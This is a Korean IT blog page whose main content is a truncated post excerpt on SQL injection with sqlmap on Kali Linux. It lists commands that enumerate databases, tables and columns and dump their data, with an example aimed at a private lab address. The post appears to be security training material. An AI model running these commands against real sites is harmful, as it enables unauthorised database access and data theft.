일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- 코딩테스트
- 라우터
- 라우팅
- coding test
- OSI7계층
- 컨테이너
- 프로그래머스
- 리눅스
- 스노트
- 트레바리
- Python
- 코딩 테스트
- db
- programmers
- MySQL
- docker
- 도커
- database
- Linux
- Snort Rule
- 라우팅프로토콜
- Routing
- Router
- 데이터베이스
- Container
- Log
- centos
- snort
- 스노트 룰
- osi7layer
Archives
- Today
- Total
목록sql 공격 (1)
Simple is IT, 누구나 보고 누구나 깨닫는 IT
SQL 인젝션 (sqlmap 사용 - Kali Linux)
자동화 도구(sqlmap, 하비지 등) SQLmap 설치 : apt-get insatll sqlmap -y sqlmap -u [공격 URL] --dbs //단, 공격 URL은 GET방식 데이터를 전달하는 주소, DBMS 종류 및 DB 이름 알아내기 sqlmap -u [공격 URL] -D [DB명] --tables // 테이블명 알아내기 sqlmap -u [공격 URL] -D [DB명] -T [테이블명] --columns // 테이블의 칼럼명 알아내기 sqlmap -u [공격 URL] -D [DB명] -T [테이블명] -C [칼럼명] --dump // 데이터 알아내기 sqlmap -u [URL] --dbs sqlmap -u 192.168.10.5:9090/board_view.asp?num=1 --dbs D..
Simple is IT/Security
2020. 4. 27. 11:10